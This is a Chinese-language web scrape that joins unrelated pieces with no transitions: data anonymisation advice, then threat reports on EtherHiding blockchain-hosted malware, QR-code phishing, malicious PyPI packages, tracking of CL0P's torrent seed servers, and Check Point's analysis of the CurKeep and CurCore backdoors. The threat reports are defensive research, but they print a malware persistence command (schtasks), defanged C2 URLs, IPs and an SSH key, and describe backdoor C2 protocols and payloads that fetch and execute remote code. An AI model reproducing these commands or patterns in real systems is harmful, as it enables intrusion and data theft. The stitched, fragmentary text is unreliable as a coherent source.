2.優先處理數據用例除非您確切地知道組織內的人員如何使用數據,否則您無法採取措施來保護數據。識別所有數據用例並對其進行優先級排序可以幫助您提高匿名化工作的效率。

考慮與組織內的數據使用者接觸,以確定他們如何使用數據以及出於什麼目的使用數據,它將幫助您揭示最常見的數據用例及其對您業務的重要性。然後,根據它們對數據隱私和業務價值構成的風險對這些用例進行優先排序。

有了數據用例的優先級列表,您將更容易決定應該首先匿名化哪些敏感信息,從而優化匿名化所需的資源和工作分配。

3.映射相關法律規定雖然保持敏感個人信息的安全是匿名化的最終目標,但對您的業務來說,遵守數據保護要求也至關重要。映射適用於組織的法律、標準和法規是遵循法規的第一步。為了映射適用的法律要求,建議遵循以下步驟:

马云惹不起马云確定適用於您的行業、位置和運營區域的要求;

马云惹不起马云研究和理解要求;

马云惹不起马云用您的團隊能夠理解的方式來解釋要求;

马云惹不起马云將要求集成到您的工作過程中;

马云惹不起马云記錄要求和既定的程序以滿足這些要求;

马云惹不起马云持續監控這些要求是否有任何更改,以及是否出現新的要求;

马云惹不起马云定期更新文件,提高員工對合規措施的意識。

除了幫助您採用正確的措施來實現合規性之外,映射相關的法律要求還可以增強您的數據匿名化工作。

4.最小化數據收集您可能認為收集的數據越多,您的分析就越準確,對您的業務也就越有利。然而,大量的數據收集可能是有害的。當您收集了太多數據時,您很少會使用所有數據,但您仍然需要分配資源來存儲和保護未使用的數據資產。

最小化數據收集可以簡化數據匿名化過程,降低數據安全風險。因此,只收集分析所必需的數據,避免收集未來可能永不會使用的數據。

5.評估當前的技術堆棧如今,許多平台都默認內置了數據匿名化功能。但是,您仍然需要評估當前技術的功能是否足以正確地匿名化個人數據,防止重標識,並滿足數據保護要求。

考慮分析當前技術棧的匿名化功能,以檢查它們是否與您想要達到的匿名化水平相匹配。此外,檢查它們是否能幫助您滿足適用於您組織的數據保護要求。

此過程將幫助您確定當前的堆棧是否足以滿足您的匿名化需求,以及是否存在需要通過部署其他數據匿名化工具來彌合的缺口。

6.提前為重標識做好準備您的組織可能出於合法原因需要重標識以前匿名的數據。例如,您可能需要它進行數據分析、定制客戶支持或安全事件調查,這就是最好事先考慮去匿名化過程的原因所在。為此,可考慮採取以下措施:

马云惹不起马云驗證您的匿名化技術是否支持重標識;

马云惹不起马云定義並記錄數據重標識的合法原因;

马云惹不起马云制定關於重標識過程的指導方針,並指定可用於數據去匿名化的技術和工具;

马云惹不起马云指定人員對重標識過程負責;

通過提前規劃數據重標識,您可以減少違反數據隱私的可能性,同時確保在需要時可以訪問數據。

Guardio Labs研究人員Nati Tal和Oleg Zaytsev發現黑客使用了一種名為EtherHiding的代碼分發技術,濫用幣安智能鏈(BSC)的智能合約來隱藏惡意腳本。在該網絡攻擊活動中,攻擊者使用劫持的WordPress網站誤導用戶下載惡意虛造的瀏覽器更新,然後將用戶重定向到Cloudflare Worker主機來注入惡意腳本到被黑的網站。由於濫用的Cloudflare Worker主機被攔截,隨後攻擊者轉向使用去中心化、匿名的公開區塊鏈系統提供更加可靠和隱蔽的分發信道,使用區塊鏈系統使得攻擊活動難以檢測和攔截。

EtherHiding惡意軟件EtherHiding是名為ClearFake的黑客組織用來分發代碼的新技術,分發的代碼被注入到被黑的網站上以展示虛假的瀏覽器更新,Guardio Labs研究人員解釋稱黑客正在攻擊有價值的WordPress網站或被黑的管理員憑證來注入兩個腳本標籤到網站。這些腳本注入會加載幣安智能鏈JS庫,並從區塊鏈取回惡意腳本,並註入到網站中。

image.png

圖為連接幣安鏈的JS

從幣安鏈取回的代碼會注入到網站中,以觸發第三階段payload的下載。第三階段payload是從攻擊者所有的C2服務器下載的,C2地址直接來源於區塊鏈,所以攻擊者可以很輕鬆地修改以繞過攔截方法。用戶瀏覽器中運行的第三階段payload會在網站上展示一個虛假的覆蓋,要求用戶更新Chrome、Edge或Firefox瀏覽器。

image.png

圖為展示在被黑網站上的虛假Chrome更新

一旦受害者點擊更新按鈕,就會被重定向到Dropbox或其他合法的託管網站來下載惡意可執行文件。

image.png

圖為最新的ClearFake攻擊鏈

使用區塊鏈的優勢區塊鍊是用來運行去中心化應用和智能合約的,區塊鏈上的代碼無法被修改和刪除,所以使用區塊鏈作為基礎設施可以使得攻擊活動無法被攔截。如果其中一個域名被識別和標記,攻擊者可以更新鏈來交換為其他惡意代碼和相關的域名。此外,做這些修改不會產生費用,所以網絡犯罪分子可以濫用這些系統進行攻擊活動而無需承擔額外的成本。

image.png

圖為惡意智能合約

智能合約部署在幣安鏈上後,可以匿名運行,且無法被阻止。即使將該地址報告為惡意的,也無法阻止其分發惡意代碼。 Guardio Labs稱報告該地址會觸發幣安鏈瀏覽器頁面的告警不要與該地址交互,但被黑的WordPress網站訪問者不會看到這樣的告警信息。

image.png

圖為幣安鏈上報告的地址

解決這一問題的唯一方法就是關注WordPress安全,使用強、唯一的管理員密碼,保持插件更新,移除不使用的賬戶。隨著區塊鏈方法的優勢,未來區塊鏈濫用於payload分發會變得越來越頻繁。

更多技術細節參見:https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16

sl-abstract-phishing-hook-mail-accounts-under-water-1200x600.jpg

二維碼無處不在,你可以在海報和傳單、ATM屏幕、價籤和商品甚至建築物上看到它們,人們用它們來分享信息,推廣各種在線資源,然而,你卻很少在電子郵件中看到二維碼。用戶無需掃描即可在手機上直接閱讀信息,因為大多數信件都帶有普通的超鏈接,但攻擊者正越來越多地通過電子郵件發送的二維碼來實施攻擊。

與易於檢查和屏蔽的釣魚鏈接不同,二維碼是安全解決方案中令人頭疼的問題。分析二維碼並找出其中包含的信息,需要昂貴且資源豐富的計算機視覺技術。更糟糕的是,雖然一個普通的鏈接只需看一眼就可以整理出來,但使用二維碼,在掃描之前,你無法判斷它會把你重定向到哪裡。

二維碼也稱快速響應碼,是一種二維矩陣條形碼,由幾個正方形和多個點(模塊)組成,排列在白色背景上的正方形圖案中,可以使用圖像處理設備來掃描QR碼。它將首先通過正方形識別代碼的位置,然後讀取點中編碼的信息,除了實際的代碼外,方形區域還可以容納裝飾元素,例如公司徽標。

二維碼比1D條形碼能夠編碼更多的數據,它們通常用於編碼指向各種資源的超鏈接,例如商店目錄、結賬頁面或建築信息頁面。

電子郵件中的惡意二維碼攻擊者使用二維碼對網絡釣魚和詐騙頁面的鏈接進行編碼,研究人員在2021年底註冊了第一次使用該技巧進行惡意電子郵件活動的嘗試。這些都是模仿聯邦快遞(FedEx)和DHL等快遞服務公司電子郵件的詐騙信息,受害者會被誘騙通過掃描二維碼支付關稅,編碼的鏈接正在重定向到一個偽造的銀行卡數據輸入頁面。這場活動的規模不大,並到2022年年中有所減少。研究人員在2023年春季觀察到的以二維碼為特色的新電子郵件活動,與第一次不同的是,這次是針對微軟產品企業用戶的登錄名和密碼。

攻擊者向受害者發送信息,告知他們的公司電子郵件帳戶密碼即將過期,為了保留對賬戶的訪問權限,用戶需要掃描二維碼。一些電子郵件將來自免費郵件地址,另一些則來自最近註冊的域名,在一些信息中,攻擊者在二維碼中添加了微軟安全標誌,以提高可信度。

1.jpg

帶有二維碼的釣魚郵件

在收到釣魚郵件並掃描代碼後,用戶將被重定向到一個類似微軟登錄頁面的虛假登錄頁面,只要輸入登錄名和密碼,攻擊者就可以訪問該帳戶。

2.jpeg

除了敦促用戶更改密碼或更新個人數據的消息外,我們還檢測到一個未發送的電子郵件通知活動,該活動還使用二維碼重定向到虛假的微軟帳戶登錄頁面。

以下截圖所示的信件沒有二維碼標誌,但帶有“此郵件來自可信來源”的字樣,讓用戶放鬆警惕。

3.jpg

未發送的郵件通知

掃描二維碼時看到的一些頁面位於IPFS資源中,攻擊者會用這種分佈式文件系統發起攻擊。 IPFS是一種點對點的網絡協議,旨在創建持久且分佈式存儲和共享文件的網絡傳輸協議,IPFS網絡釣魚活動與傳統網絡釣魚活動類似,攻擊者模仿合法服務和軟件(如DHL、DocuSign和Adobe)來增加進入目標收件箱的可能性。

4.jpeg

統計數據

從2023年6月到8月,研究人員檢測到8878封包含二維碼的網絡釣魚郵件,惡意活動在6月份達到頂峰,有5063封信,到8月份減少到762封信。

5.png

2023年6月至8月帶有二維碼的釣魚電子郵件數量趨勢

總結攻擊者可以通過多種方式使用二維碼。首先,這些代碼使他們能夠避免安全措施檢測和屏蔽他們的電子郵件,查看二維碼內容並不容易,而且消息中沒有釣魚鏈接;此外,一封信不能僅僅因為裡面有二維碼就被屏蔽,儘管二維碼不是一個流行的電子郵件元素,但二維碼也可以用於合法的通信,例如發件人的自動簽名;其次,由於消息中不包含鏈接,因此無需註冊額外的帳戶或域來重定向用戶,從而隱藏網絡釣魚;最後,大多數用戶使用智能手機攝像頭掃描二維碼,並希望盡快解決問題。因此,他們可能會忽略重定向到的頁面的地址行,因為它在移動瀏覽器中不太顯眼。

另一方面,合法發件人幾乎從不在郵件中使用二維碼,因此僅僅在電子郵件中出現二維碼就可能引發懷疑;此外,掃描二維碼需要另一個設備,而用戶可能沒有現成的設備。目前研究人員還沒有觀察到許多基於二維碼的攻擊活動,他們只能假設實際掃描代碼的收件人不多。儘管如此,考慮到該機制的使用情況,預計這種攻擊在短期內會增加,且活動本身也會變得更加複雜,並針對特定目標進行調整。

要點•在2023年9月,一名攻擊者通過Pypi執行了一次針對性的攻擊,將使用阿里雲服務、AWS和Telegram的開發人員吸引到惡意軟件包。

•這些軟件包中的惡意代碼不是自動執行,而是巧妙地隱藏在函數中,旨在僅在這些函數被調用時才觸發。

•攻擊者利用誤植域名和星標劫持(Starjacking)這兩種技術將開發人員引誘到惡意軟件包。

•其中一個惡意軟包模仿一個流行的代碼存儲庫,利用了它在Pypi軟件包管理器中的缺失大做文章。

在今年9月份,一個化名為“kohlersbtuh15”的攻擊者試圖通過向PyPi軟件包管理器上傳一系列惡意軟件包來鑽開源社區的空子。

從這些軟件包的名稱及其中所含的代碼來看,攻擊者的目標似乎是使用阿里雲服務、Telegram和AWS的開發人員。

1.png

圖1. kohlersbtuh15用戶帳戶

攻擊者實施了諸多技術,包括誤植域名和星標劫持(指攻擊者通過將軟件包鏈接到GitHub上一個毫不相關的不同軟件包的代碼存儲庫,以操縱衡量軟件包受歡迎程度的星標),以誘騙受害者下載惡意軟件包。

這種攻擊的特別之處在於,不同於在Python軟件包的設置文件中植入惡意代碼這種常見策略(一旦軟件包安裝就會自動執行),這個攻擊者將惡意腳本嵌入到軟件包的深處,嵌入到特定的函數中。這意味著惡意代碼只會在正常使用期間特定函數被調用時執行。

這種隱藏惡意代碼的獨特方法不僅有助於隱藏代碼,還針對特定的操作或功能,從而使攻擊更有效、更難檢測。此外,由於許多安全工具掃描查找可自動執行的惡意腳本,將代碼嵌入到函數中加大了規避這類安全措施的可能性。

攻擊途徑:誤植域名誤植域名利用開發人員在輸入安裝命令時所犯的擊鍵錯誤來利用人為錯誤,威脅分子可能會發布名稱與目標軟件包相似的惡意軟件包。

此外,如果開發人員在瀏覽網頁時不小心拼錯了合法軟件包的名稱,他們可能會在渾然不覺的情況下進入到惡意軟件包的網站。

攻擊者的手法是製作一個酷似合法軟件包的軟件包,但添加了一個隱藏的惡意依賴項,從而觸發惡意腳本在後台運行。攻擊者也可能將惡意代碼直接嵌入到軟件包中。

從受害者的角度來看,軟件包似乎正常運行,掩蓋了幕後開展的惡意活動。

攻擊途徑:星標劫持對於開源開發人員說,通常的工作流程包括在GitHub上託管項目,並通過NPM或PyPi等軟件包管理器分發可使用的軟件包。

從軟件包管理器中選擇軟件包時,開發人員通常查看該軟件包的受歡迎程度,通常是通過其GitHub統計數據來查看,一些軟件包管理器直觀地顯示這個指標,以此表明其質量和維護水平。

然而,軟件包管理器顯示的統計數據並沒有經過任何驗證,偽造這些統計數據很簡單。

星標劫持是將託管在軟件包管理器上的軟件包鏈接到GitHub上另一個毫不相關的軟件包的代碼存儲庫的做法。然後,毫無防備的開發人員上當受騙,以為這是值得信賴的軟件包。

為了最大限度地擴大攻擊範圍,攻擊者將星標劫持和誤植域名結合在同一個軟件包中,而這正是攻擊者決定對其許多軟件包所做的操作,“Telethon2”就是一個例子。

2.png

圖2

Telethon 2其中一個引人注目的軟件包是python軟件包Telethon2,它模仿了流行的“Telethon”軟件包(下載量達6900萬次),它還通過使用“telethon”軟件包的GitHub官方代碼存儲庫來執行星標劫持。

負責這起活動的攻擊者從官方“telethon”軟件包複製了完全相同的源代碼,只有一點不同:在“telethon/client/messages.py”文件中嵌入了以下兩行惡意代碼。

3.png

圖3. 惡意代碼隱藏在telethon2-1.30.3/telethon/client/messages.py的send_message函數中。

惡意代碼不是在軟件包下載時自動執行,而是在“send message”函數被調用才被激活。

這段代碼從“hxxps[:]//tg[.]aliyun-sdk-requests[.]xyz/telegram”中獲取base64編碼的外部內容,然後將其解碼以執行操作系統命令。

enumerate-iam另一個引人注目的軟件包是“enumerate-iam”軟件包。攻擊者利用了一個名為“enumerate-iam”的流行GitHub代碼存儲庫,該代碼存儲庫並沒有相應的Python軟件包,攻擊者創建了自己的惡意Python軟件包,與合法代碼存儲庫同名。

4.png

圖4. 合法GitHub代碼存儲庫:enumerate-iam

5.png

圖5. 惡意軟件包:“enumerate-iam”

與攻擊者的其他軟件包一樣,惡意代碼隱藏在軟件包中的一個函數中,一旦函數被激活,就會試圖竊取敏感憑據。

6.png

圖6

對於在GitHub上維護項目的維護者來說,這個跡象充分錶明至少要有一個佔位符軟件包,以防止攻擊者利用這條攻擊途徑。

7.png

圖7. 該列表顯示了惡意軟件包及其相應的攻擊技術

8.png

圖8. 按國家或地區劃分的惡意軟件包總下載量百分比分佈

影響通過瞄準Telegram、AWS和阿里雲等平台上使用的流行軟件包,攻擊者展示了很高的精準度。這不是一起隨機的行為,而是一起蓄意的行為,以攻擊依賴這些廣泛使用的平台的特定用戶,可能影響數百萬人。

這起攻擊的潛在損害並不僅限於受攻擊的系統,還涉及與這些平台相關的特定數據,包括來自Telegram的通訊內容細節、來自AWS的敏感雲數據以及來自阿里雲的業務相關信息。

攻擊者在特定函數中嵌入惡意代碼,以確保有害腳本在這些函數被調用之前保持潛伏狀態。這種方法不僅繞過了通常檢測自動執行腳本的許多常規安全掃描,還允許發動更有針對性的攻擊。當毫無戒心的開發人員或用戶調用這些函數時,他們不知不覺中激活了惡意代碼,使攻擊既隱蔽又高效。

結論星標劫持和誤植域名是攻擊者採用的常見方法,以加大攻擊得逞、感染盡可能多目標的機會。這些技術旨在使軟件包看起來很受歡迎,並強調使用它的其他開發人員的數量之多,從而提高軟件包的可信度。

對於在GitHub上維護熱門項目的那些人來說,至少在PyPi這樣的平台上擁有佔位符軟件包可以作為一種防護措施,防止伺機下手的攻擊者利用合法軟件包的缺失大做文章。

在代碼中使用惡意軟件包作為依賴項帶來了很大的風險,在最好的情況下,最終會感染網絡中擁有高優先權的開發人員帳戶;如果不那麼幸運,最終可能會使客戶感染上被污染的軟件版本。

軟件包•enumerate-iam

•aliababcloud-tea-openapi

•alibabacloud-vpc20180317

•python-cos-sdk-v5

•alibabacloud-ecs20180317

•aliyun-oss2

•python-aliyun-sdk-kms

•python-aliyun-sdk-ecs

•python-aliyun-sdk-rds

•python-aliyun-sdk-core

•telethon2

•tencentcloud-python-sdk

•arangodba

•aws-consoler2

解決辦法CL0P組織利用Seed傳輸竊取的敏感數據(上)

如上所述,速度是至關重要的。加入torrent的時間窗口很短,每過一秒,找到原始播種者的可能性就會減少。為了解決這個問題,就需要不斷地監控他們的洩漏網站,以獲得新的公告,然後使用磁力鏈接開始節點過程。

一旦連接到torrent,研究人員就可以坐在群裡監視對等點,直到研究人員找到第一個顯示100%完成狀態的人。此時,信息被記錄後將自己從群中刪除。

出於講解需要,研究人員把所有受害組織的名字都改成了Pokémon。

當連接到torrent時,就會輸出。

7.png

該輸出應包括以下內容:

所連接對等點的IP地址;

對等點狀態標誌;

完成百分比;

上傳/下載速度;

Torrent客戶端;

8.1.png

8.2.png

8.3.png

映射對等點以及Pokémon

在將這些數據點連接起來之後,你最終得到的是一個連接網絡,研究人員可以將其可視化,以便更好地進行分析。

9.png

節點映射

上圖關注了三個不同的數據點:

對等點地址;

受害者;

使用中觀察到的客戶端;

研究人員根據對等點在記錄日誌時所觀察到的數據量連接每個端,然後,研究人員用顏色對鏈接進行編碼,如下圖所示,這樣100%的鏈接就會突出。

這允許快速檢查以識別地址,地址分為三類:

經確認的原始播種機;

潛在的原始播種機;

非原始文件(non-original)播種機;

再來看一看Charmander,你會注意到兩條灰色的線指向它,這些都是低於100%的鏈接,研究人員把所有100%的鏈接都編碼為紅色,藍色鏈接將對等點連接到其觀察到的客戶端字符串。如下圖所示:

10.png

CharmanderPeering

Peering在兩個ISP之間交換路由通告,以確保來自第一個ISP的業務能夠到達第二個ISP的客戶,反之亦然。對等操作主要在IXP進行,通常是免費提供或遵照雙方商定的商務協議提供。

在添加每個主機的過程中,當研究人員從受害者切換到對等點時,模式開始出現。

如果一個主機有100%的鏈接,但數量很低,比如只有2-4個,那麼研究人員認為他們是一個潛在的torrent。如果一個主機有100%的鏈接,但數量很多,那麼研究人員認為他們只是一個潛在的原始torrent。任何有低於100%鏈接的主機,研究人員都認為它們是非原始文件種子。

回到以前的IP地址81.19.135[.]21(如下圖所示),研究人員可以看到一個極似原始播種機的樣子。

11.png

原始播種機

極有可能的原始seed不僅具有100%seed的高容量,而且是許多受害者唯一登錄的對等點,此外,對等點數據集之間開始出現模式。例如,研究人員認為大多數原始種子主機都使用Transmission 3.00客戶端字符串,進一步將它們的活動綁定在一起;而一個擁有相對唯一的客戶端字符串的主機(如下圖中的主機)卻很少被發現。這讓研究人員更傾向於將它們作為一個實體,只是出於其他原因下載所有數據,並且它們已經完成了下載。

12.png

不太可能是原始播種機

所有這一切都是說,這些數據點讓研究人員能夠迅速過濾和淘汰不那麼有趣的對等點,這樣研究人員就可以把注意力集中在重要的點上。

下圖中所示的這個人甚至在每個torrent文件中更改他們的客戶端字符串。這更加證明了他們不是原始播種者,儘管在研究人員觀察他們的時候,他們已經播種了很多數據。

13.png

Nonoriginal播種機

通過查看數據並應用上述邏輯,研究人員能夠克服上述一些問題,即在發布torrent文件後研究人員才開始收集數據。

總的來說,研究人員能夠在這個數據集中識別出五個研究人員認為很有可能是原始播種者的主機,以及兩個可能成為未來播種者的主機。這有必要進行更深入的研究。

Seed Group 1有一種模式幾乎立刻就凸顯出來,那就是三個IP地址似乎在同一個網絡上。

81.19.135[.]21

81.19.135[.]25

81.19.135[.]31

這三個IP地址都存在於FlyServers(一家VPS託管公司)擁有的AS 209588的同一個子網中。 IP位於俄羅斯莫斯科。每一個都表現出有趣的特徵,這些特徵進一步將它們聯繫在一起,有力地證明了它們是由攻擊者控制的。

例如,請注意下圖所示的模式,因為它與前兩個IP地址的SSH可用性和FTP可用性有關:

14.png

81.19.135[.]21服務掃描

15.png

81.19.135[.]25服務掃描

對於以21結尾的IP, SSH端口在2023年8月6日停止響應,FTP端口在2023年8月7日開始響應。對於以25結尾的IP,研究人員看到SSH在2023年8月6日停止,FTP在同一天打開。

同樣,對於下圖中以31結尾的IP,雖然研究人員沒有SSH可見性,但研究人員可以看到FTP也在8月6日打開。

16.png

81.19.135[.]31服務掃描

服務器運行的是vsFTPd 3.0.3和OpenSSH_8.4p1。在TCP/8423上以25結尾的IP的簡短可見性表明,它已轉換為在非標準端口上運行SSH。

為了確認播種服務器是不同的實體,而不是某種負載平衡服務背後的同一個盒子,研究人員查看了vsFTPd使用的TLS證書,它們都是自簽名的:

81.19.135[.]21=44102.example.ru,有效期為2023年8月6日22:49:51 GMT-0400;81.19.135[.]25=14868.example.ru,有效期為2023年8月5日23:48:55 GMT-0400;81.19.135[.]31=33916.example.ru,有效期為2023年8月5日23:48:08 GMT-0400;

其中包括了證書的起始日期,如上所述,彼此相距大約一個小時。這意味著,CL0P在他們計劃發布第一個磁力鏈接的大約10天前,在他們公開宣布打算轉向這種傳播方式的5天前,就對這些盒子進行了預處理。

使用這些模式,研究人員擴展了對在Common Name (CN)值中包含example.ru的證書的搜索,這些證書被觀察到具有FTP。研究人員確定了同一子網上的另一台主機(如下圖所示),它具有類似的功能,但尚未顯示在對等點信息中。

17.png

更寬的網絡識別以11結尾的新主機

你可以看到相同的行為,SSH端口在2023年8月6日失去可見性,FTP端口在2023年8月7日變為活動,這與研究人員觀察到的其他情況一致。

81.19.135[.]11=43577.example.ru,有效期為2023年8月6日23:03:31 GMT-0400

在這台主機上還值得注意的是兩個月前Windows服務的出現,如下圖所示。這意味著VPS在該時間範圍內從Windows重新調整為基於*nix的設備。

18.png

81.19.135[.]11服務掃描

為了有效地託管竊取的數據,需要進行大量的協調。可能以11結尾的IP地址正準備託管更多的受害文件。

以25和31結尾的兩個IP地址的受害者是在8月15日或幾天后公佈的。而從8月24日開始,以21結尾的IP地址開始在受害者公告中使用,其觀察到的受害者數量幾乎是其他IP地址的四倍。這可能只是研究人員觀察它們的結果,但也可能意味著這個盒子有些不同。

Seed Group 2另一個突出的IP也被Gary Warner在LinkedIn上提到,他正在尋找關於CL0P seed的相同類型的信息。

在Cl0p決定沒有人能夠通過.onion服務器下載他們被盜的數據後,他們遷移到使用bitTorrent。

當然,使用bitTorrent的問題是,攻擊者託管被盜數據的位置變得非常明顯。如果一個人訪問TORRENT,並且只有一個IP地址提供100%的數據,對於更大的數據集,那麼幾乎可以肯定,這就是攻擊者為提供文件而獲得的主機。但對於微小的數據集來說,情況並非如此,對於這些數據集,攻擊者可以在很短的時間內等待其他人獲得100%的文件,然後斷開他們的原始位置。

目前,“100%”數據集的主要位置是:

95.215.0[.]76=AS34665 Petersburg Internet, St. Petersburg Russia,這是

在pindc[.]ru上託管的公司招聘信息。

此IP地址為95.215.0[.]76,如下圖所示,與以前的數據集有一些相似之處。具體來說,使用了字符串Transmission 3.00的BitTorrent客戶端,託管提供商是另一家俄羅斯公司。

19.png

另一個已確認的原始種子服務器

果不其然,這個播種服務器(如下圖所示)表現出與其他數據集類似的行為,因為它也與服務相關。然而,這個活動比另一個數據集早一個月發生,SSH服務一直持續到7月17日,FTP服務從7月18日開始出現。

20.png

95.215.0[.]76服務掃描

這可能是一個較舊的盒子,它還使用一組不同的服務來託管FTP,並進一步利用ProFTPD。同樣,VPS託管在俄羅斯聖彼得堡,並由AS 34665宣布用於彼得堡互聯網(PIN)數據中心。

此IP與IP地址95.215.1[.]221共享下面的SSH密鑰。

ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNos5CNsQHUKlXJSFDJKtPB/4FlkqW6R0crEQaONn3TJ2TICxQRUTh8DgITlLcidJf0pnn0zVMWwE6PsWDI3eZU=

雖然研究人員目前還沒有觀察到這個IP地址,但還不知道這是由於可見性問題還是該盒子尚未用於託管原因造成的,它確實與SSH和FTP共享相同的顯著行為。如下圖所示:

21.png

95.215.1[.]221服務掃描

Seed Group 3將這些模式應用到研究人員收集的其他對等體上,下圖中顯示了IP地址92.118.36[.]111。

22.png

獨立seed主機

在該樣本中,研究人員只觀察到它以100%的速度為Articuno播種了一個torrent,它位於阿姆斯特丹,由StreamHost的AS 209132宣布。

這個torrent的一致之處在於,它使用Transmission 3.00客戶端字符串,並且從8月9日開始具有類似的FTP訪問權限。如下圖所示:

23.png

92.118.36[.]111服務掃描

最後要說明的一點是,在搜索這個IP地址時,研究人員偶然發現了一個以112結尾的下一個IP的AbuseIPDB報告,如下圖所示:它在2023年6月初顯示了一份針對MOVEit漏洞的地址掃描報告,該漏洞是CL0P用來竊取所有這些數據的漏洞。

24.png

AbuseIPDB關於92.118.36[.]112的報告

這兩者之間是否有關聯尚不清楚,但如果沒有關聯,這將是一個有趣的巧合。

總結在本文所講解的樣本中,俄羅斯的幾個託管服務器保存了大量被盜受害者的數據。

根據分析,這些攻擊者很可能利用FTP將被盜文件傳輸到種子盒。另外,在FTP服務啟動之前,SSH訪問的一般可見性會立即關閉,這可能意味著很多事情,但最重要的是,在宣布磁力鏈接之前,他們可能會在服務器上預留被盜數據相當長的一段時間。

同樣,受害者數據在seed盒中的分佈也與他們的公告時間表不一致。這說明在torrent產生之前,數據已經在盒子上保存了一段時間,這可能是他們用來避免seed追踪的一種技術,方法是同時宣布不同的受害者,但從不同的盒子裡播種。

在過去的幾個月裡,Check Point Research一直在追踪分析“STAYIN’ ALIVE ”,這是一項至少從2021年就開始活躍的持續活動。該活動在亞洲開展,主要針對電信行業和政府機構。

“Stayin’Alive”活動主要由下載和加載程序組成,其中一些被用作針對知名亞洲組織的初始攻擊載體。發現的第一個下載程序名為CurKeep,目標是越南、烏茲別克斯坦和哈薩克斯坦。

觀察到的工具的簡單化性質以及它們的流行表明它們是一次性的,主要用於下載和運行額外的有效負載,這些工具與任何已知攻擊者創建的產品沒有明顯的代碼重疊,並且彼此之間沒有太多共同之處。然而,它們都與ToddyCat基礎設施有關。

該活動利用魚叉式網絡釣魚郵件利用DLL側加載方案來傳播壓縮文件,最明顯的是劫持Audinate的Dante Discovery軟件(CVE-2022-23748)中的dal_keepalives.dll。

“STAYIN’ ALIVE ”活動背後的攻擊者利用多個獨特的加載程序和下載器,所有這些加載程序和下載器都連接到同一套基礎設施,與一個通常被稱為“ToddyCat”的攻擊相關聯。

後門和加載程序的功能是非常基本和高度可變的。這表明攻擊者將它們視為一次性的,並且可能主要使用它們來獲得初始訪問權限。

CurKeep後門調查是從2022年9月發送給越南電信公司的一封電子郵件開始的,該電子郵件被上傳到VirusTotal。郵件主題CHỈ THỊ VỀ VIỆC QUY ĐỊNH QUẢN LÝ VÀ SỬ DỤNG USER,翻譯為“管理和使用說明:用戶規定”,這可能表明目標在IT部門工作。電子郵件包含一個ZIP附件,裡面有兩個文件:一個合法的簽名文件mDNSResponder.exe,重命名為匹配電子郵件,以及一個名為dal_keepalives.dll的側加載DLL。

1.png

原始CurKeep電子郵件誘餌

首先運行合法的可執行文件(由Zoom簽名),它加載dal_keepalives.dll,然後加載一個簡單的後門程序,稱為“CurKeep”。在初始執行期間,它將自己和合法的exe文件複製到%APPDATA%文件夾中,並設置一個名為Reserved的環境變量來指向它的路徑。該變量用於名為AppleNotifyService的計劃任務,該任務的目的是維護負載執行的久性。

2.png

CurKeep攻擊鏈

根據新發現的被劫持DLL方案,我們發現了多個部署相同工具的檔案:

Саммит 2022 г (парол - 0809).rar,可能用於針對烏茲別克斯坦,因為它是從烏茲別克斯坦上傳的,俄文文本。

QForm V8.zip ,QForm是一個仿真軟件,該文件託管在一個已知的研究門戶域名上。 Приказ №83 от 29.05.2023г.rar,可能用於針對哈薩克斯坦,假設它再次從哈薩克斯坦上傳,並帶有俄語文本。

CurKeep負載有效負載本身是一個非常小但高效的10kb文件。它包含26個函數,不使用任何庫進行靜態編譯,在執行時,它首先從msvcrt.dll生成一個導入數組,以獲得常見的C運行時函數,因為它沒有。

3.png

函數導入

4.png

全局結構構造

函數主要有效負載邏輯由三個主要函數組成:report, shell, 和file。它們中的每一個都被分配到一個不同的消息類型,該消息類型被發送到CC服務器。當執行時,負載一開始運行report函數,將基本偵察信息發送到CC服務器。然後,它創建兩個獨立的線程來重複運行shell和file函數。

report- CurKeep收集有關受攻擊計算機的信息,包括計算機名稱、用戶名、systeminfo的輸出以及C:\ProgramFiles(x86)和C:\Program Files下的目錄列表。

shell -以JSON格式發送計算機名,使用簡單的異或加密和base64編碼到CC。預期的響應包含命令字符串,命令之間以“|”分隔。它執行每個命令並將輸出發送到CC服務器。

file -發送與shell線程相同的消息,並接收如下格式的字符串' [FILE_ID]|[FULL_PATH]|[BASE64_ENCODED_FILE_DATA] '。它解析字符串並將數據寫入文件。

通信後門通信是基於HTTP的,每個函數的結果通過post請求路徑/API /report/API /shell或/API /file發送到匹配的API。結果被加密並存儲在JSON ‘msg’字段中。

5.png

基礎設施分析

我們發現的所有CurKeep樣本都與一組CC服務器通信,這些服務器鏈接到同一個TLS證書:fd31ea84894d933af323fd64d36910ca0c92af99。該證書在多個IP地址之間共享,我們認為它們都與同一個攻擊者有關。

6.png

在多個IP地址之間共享證書

除了證書之外,我們還觀察到域的類似註冊模式以及ip使用重複的asn。

7.png

相似的註冊模式和重複的asn

新發現的工具新發現的基礎設施揭示了幾個額外的樣本,主要是加載程序,用於同一地區的針對性攻擊,幾乎所有加載程序都是通過類似的方法執行的,最常見的是DLL側加載。加載程序的性質及其多樣性表明,攻擊者利用簡單的加載程序進行攻擊,仔細選擇部署額外工具的目標。

CurLu加載程序與此基礎結構相關聯的最常見的工具是CurLu加載程序,它通常通過濫用bdch.dll的側加載來加載,但這不是使用的唯一方法。這個加載程序的主要功能是聯繫CC服務器並接收要加載的DLL,然後調用預定義的導出。這是通過發送一個URI?cur=[RANDOM]的請求來實現的:

8.png

構建隨機請求URL

來自服務器的預期響應是DLL,然後將其加載並映射到內存中。接下來,加載程序搜索兩個預定義導出中的一個,並執行找到的任何導出。

9.png

在下載的DLL中搜索導出函數

CurCore其中一個新檢索的有效負載是通過名為incorrect personal information.img的IMG文件傳播的。它是從巴基斯坦上傳到VirusTotal的,利用mscoree.dll劫持部署了另一個名為CurCore的小後門程序。這個CurCore變種也指向一個模仿巴基斯坦電信供應商Nayatel的域名ns01.nayatel.orinafz.com。

當執行時,DLL通過比較執行路徑與C:\ProgramData\OneDrive\來檢查它是否持久化執行。如果沒有,它將自己和合法的PE文件複製到前面提到的OneDrive.exe文件夾下,並使用命令schtasks /create /sc minute /mo 10 /tn 'OneDrive' /tr 'C:\ProgramData\OneDrive\OneDrive.exe創建計劃任務。

如果從正確的路徑執行,它將創建一個線程,該線程初始化一個大型UUID字符串數組,然後繼續加載rpcrt4.dll並動態地導入UuidFromStringA函數。接下來,它使用該函數將整個UUID數組轉換為字節,每次一個UUID。

10.png

用於生成shellcode的UUID數組

